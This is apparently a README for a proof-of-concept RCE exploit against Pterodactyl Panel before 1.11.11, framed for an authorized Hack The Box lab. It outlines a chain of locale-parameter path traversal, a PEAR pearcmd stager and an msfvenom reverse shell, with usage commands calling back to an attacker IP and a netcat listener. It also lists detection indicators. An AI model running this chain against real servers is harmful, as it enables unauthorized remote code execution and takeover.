This repo contains RCE exploit for Pterodactyl htb machine
仅供授权测试和防御学习使用。
本仓库仅适用于受控的实验环境(例如 CTF/HTB 风格的环境),在此环境中你拥有目标的所有权或已获得明确的书面授权进行测试。
本仓库包含一个教育性 Python 概念验证 (pterodactyl_rce.py),针对影响 Pterodactyl Panel 版本 1.11.11 之前 的真实漏洞。在存在漏洞的配置下,未认证攻击者可能通过 /locales/locale.json 端点,利用对 locale 和 namespace 参数的不当处理实现远程代码执行。
此 PoC 变体针对已安装 PHP-PEAR 的环境,并在 Hack The Box 平台的退役机器 Pterodactyl 上构建并验证:https://app.hackthebox.com/machines/Pterodactyl。它也可能在满足相同条件的其他实验室设置中有效。
24c82b0…)在高层,PoC 串联以下步骤:
msfvenom 生成一个 Linux x64 反向 TCP ELF payload。/locales/locale.json 处理逻辑,将一个 PHP “stager” 写入 /tmp(借助 PEAR 的 pearcmd config-create 技巧)。/tmp,脚本在“上传”步骤中使用原始的 HTTP 客户端而非 curl,因为某些工具可能规范化或编码字符,从而破坏精心构造的请求。
注意: 本 README 有意保持在防御/教育层面。仅在你被允许测试的环境中使用代码。
msfvenom 在 $PATH 中可用(Metasploit Framework)nc(netcat)(如果你希望 PoC 自动启动监听器)脚本当前期望源代码中存在一个面板 HTB 主机名:
host = "panel.pterodactyl.htb"
此外,硬编码的 PHP-PEAR 路径设置为:../../../../../usr/share/php/PEAR。如果你在 Pterodactyl 机器之外测试,需要根据你的本地配置调整此路径。
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>:你的回调 IP,实验室服务器可访问<LPORT>:接收反弹 Shell 的端口如果你希望自己运行监听器:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
然后在另一个终端中:
nc -lvnp <LPORT>
python3 pterodactyl_rce.py 10.10.14.225 5555
典型流程:
shell_ab12cd34):8080 上启动一次性 HTTP 服务器/tmp/<random>.php 下创建一个 PHP stager
/tmp/ 目录中的文件。/tmp/<name>.php 文件;否则等待一段时间再重试。/locales/locale.json 端点,但这可能破坏本地化功能。查找类似可疑请求:
/locales/locale.json 的请求,其 locale= 参数包含异常的目录遍历序列namespace= 值(意外的名称、长字符串、奇怪字符)/tmp/ 目录中突然出现意外文件将 Web 日志与以下内容关联:
www 用户 / PHP-FPM 用户 spawn 的新进程curl/wget